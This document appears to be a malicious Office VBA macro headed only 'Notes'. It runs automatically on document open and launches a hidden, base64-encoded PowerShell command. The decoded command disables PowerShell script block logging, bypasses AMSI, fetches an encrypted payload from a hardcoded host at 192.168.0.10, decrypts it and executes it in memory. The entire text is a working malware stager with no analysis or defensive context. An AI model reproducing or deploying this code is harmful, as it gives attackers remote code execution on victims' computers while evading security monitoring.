Notes

Sub Auto_Open()
pmXk
End Sub

Sub AutoOpen()
pmXk
End Sub

Sub Document_Open()
pmXk
End Sub

Public Function pmXk() As Variant
Dim Ax As String
Ax = "powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg"
Ax = Ax + "BlAFIAUwBpAE8AbgBUAGEAQgBsAGUALgBQAFMAVgBFAFIAcwBJ"
Ax = Ax + "AE8AbgAuAE0AYQBqAE8AUgAgAC0ARwBFACAAMwApAHsAJABHAF"
Ax = Ax + "AARgA9AFsAUgBlAEYAXQAuAEEAUwBTAGUATQBCAEwAWQAuAEcA"
Ax = Ax + "RQBUAFQAWQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
Ax = Ax + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
Ax = Ax + "AHQAaQBsAHMAJwApAC4AIgBHAGUAVABGAEkAZQBgAEwARAAiAC"
Ax = Ax + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
Ax = Ax + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
Ax = Ax + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABH"
Ax = Ax + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAdABWAE"
Ax = Ax + "EATABVAGUAKAAkAE4AdQBMAGwAKQA7AEkARgAoACQARwBQAEMA"
Ax = Ax + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
Ax = Ax + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
Ax = Ax + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
Ax = Ax + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
Ax = Ax + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
Ax = Ax + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
Ax = Ax + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
Ax = Ax + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
Ax = Ax + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAQQBMAD0AWwBDAG8AbA"
Ax = Ax + "BMAGUAQwB0AGkATwBOAFMALgBHAGUATgBFAHIASQBDAC4ARABp"
Ax = Ax + "AEMAdABpAG8AbgBBAFIAWQBbAHMAdAByAGkAbgBnACwAUwB5AF"
Ax = Ax + "MAdABlAE0ALgBPAGIASgBlAEMAVABdAF0AOgA6AE4AZQB3ACgA"
Ax = Ax + "KQA7ACQAVgBBAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUw"
Ax = Ax + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
Ax = Ax + "AGcAJwAsADAAKQA7ACQAdgBhAEwALgBBAEQARAAoACcARQBuAG"
Ax = Ax + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
Ax = Ax + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
Ax = Ax + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
Ax = Ax + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
Ax = Ax + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
Ax = Ax + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
Ax = Ax + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
Ax = Ax + "AD0AJABWAEEAbAB9AEUAbABTAGUAewBbAFMAYwBSAGkAUAB0AE"
Ax = Ax + "IAbABvAGMASwBdAC4AIgBHAEUAdABGAGkAZQBgAGwARAAiACgA"
Ax = Ax + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
Ax = Ax + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
Ax = Ax + "AFQAVgBhAEwAdQBlACgAJABuAHUAbABMACwAKABOAEUAVwAtAE"
Ax = Ax + "8AYgBKAEUAYwB0ACAAQwBPAGwATABlAEMAVABJAE8ATgBTAC4A"
Ax = Ax + "RwBlAG4ARQByAEkAYwAuAEgAQQBzAGgAUwBFAFQAWwBzAHQAcg"
Ax = Ax + "BpAG4AZwBdACkAKQB9AFsAUgBFAEYAXQAuAEEAUwBTAGUAbQBi"
Ax = Ax + "AEwAeQAuAEcAZQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC"
Ax = Ax + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
Ax = Ax + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
Ax = Ax + "BfAH0AfAAlAHsAJABfAC4ARwBlAHQARgBJAGUATABkACgAJwBh"
Ax = Ax + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
Ax = Ax + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUA"
Ax = Ax + "dABWAEEATABVAGUAKAAkAE4AVQBsAGwALAAkAFQAUgB1AGUAKQ"
Ax = Ax + "B9ADsAfQA7AFsAUwBZAHMAdABFAE0ALgBOAGUAdAAuAFMAZQBy"
Ax = Ax + "AFYAaQBDAEUAUABPAGkATgB0AE0AYQBuAEEARwBlAFIAXQA6AD"
Ax = Ax + "oARQB4AFAARQBDAFQAMQAwADAAQwBvAG4AVABJAG4AVQBFAD0A"
Ax = Ax + "MAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBFAGMAVAAgAFMAeQ"
Ax = Ax + "BTAHQARQBtAC4ATgBFAFQALgBXAEUAYgBDAEwAaQBlAE4AdAA7"
Ax = Ax + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
Ax = Ax + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
Ax = Ax + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
Ax = Ax + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
Ax = Ax + "AHcAYwAuAEgARQBBAGQAZQBSAFMALgBBAGQARAAoACcAVQBzAG"
Ax = Ax + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAA"
Ax = Ax + "UgBPAFgAWQA9AFsAUwB5AHMAVABlAG0ALgBOAEUAdAAuAFcAZQ"
Ax = Ax + "BiAFIAZQBRAFUARQBTAHQAXQA6ADoARABFAEYAQQBVAGwAdABX"
Ax = Ax + "AEUAYgBQAHIAbwBYAFkAOwAkAFcAYwAuAFAAUgBvAHgAeQAuAE"
Ax = Ax + "MAcgBFAGQAZQBOAFQASQBBAGwAUwAgAD0AIABbAFMAWQBzAFQA"
Ax = Ax + "RQBtAC4ATgBFAHQALgBDAHIAZQBEAEUAbgBUAGkAQQBMAEMAQQ"
Ax = Ax + "BDAGgAZQBdADoAOgBEAGUARgBhAFUAbABUAE4ARQBUAFcATwBy"
Ax = Ax + "AGsAQwByAGUAZABlAG4AVABpAEEAbABTADsAJABTAGMAcgBpAH"
Ax = Ax + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
Ax = Ax + "eQA7ACQASwA9AFsAUwBZAHMAdABFAG0ALgBUAEUAeABUAC4ARQ"
Ax = Ax + "BuAEMAbwBEAGkAbgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBU"
Ax = Ax + "AEIAWQBUAGUAcwAoACcAegBDAF4AZAA/ADYAOQA9AEkASAByAF"
Ax = Ax + "gAawBxAGoALgBPAHMAMwBVAF0AfQBvACoARQB7ACkAMQBiACsA"
Ax = Ax + "UwA+ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIARw"
Ax = Ax + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
Ax = Ax + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
Ax = Ax + "sAJABfACUAJABLAC4AQwBvAHUATgBUAF0AKQAlADIANQA2ADsA"
Ax = Ax + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
Ax = Ax + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
Ax = Ax + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
Ax = Ax + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
Ax = Ax + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
Ax = Ax + "A7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
Ax = Ax + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
Ax = Ax + "IAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAA"
Ax = Ax + "LgAxADAAOgA4ADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcA"
Ax = Ax + "BoAHAAJwA7ACQAdwBDAC4ASABlAEEAZABlAFIAcwAuAEEARABE"
Ax = Ax + "ACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD"
Ax = Ax + "0AZAB5AGIAegBxAFAANwA4AG0AcwBTAHIAdwB2AHoAaQB5AEYA"
Ax = Ax + "MABPADQARABtAHkAWQAvAFEAPQAiACkAOwAkAGQAQQB0AGEAPQ"
Ax = Ax + "AkAFcAQwAuAEQATwB3AE4ATABvAGEARABEAGEAdABhACgAJABT"
Ax = Ax + "AEUAcgArACQAVAApADsAJABJAFYAPQAkAGQAQQBUAGEAWwAwAC"
Ax = Ax + "4ALgAzAF0AOwAkAEQAQQBUAEEAPQAkAGQAQQBUAGEAWwA0AC4A"
Ax = Ax + "LgAkAGQAQQB0AGEALgBsAEUAbgBHAFQASABdADsALQBKAE8ASQ"
Ax = Ax + "BOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQBU"
Ax = Ax + "AEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "rootcimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\" & strComputer & "rootcimv2:Win32_Process")
objProcess.Create Ax, Null, objConfig, intProcessID
End Function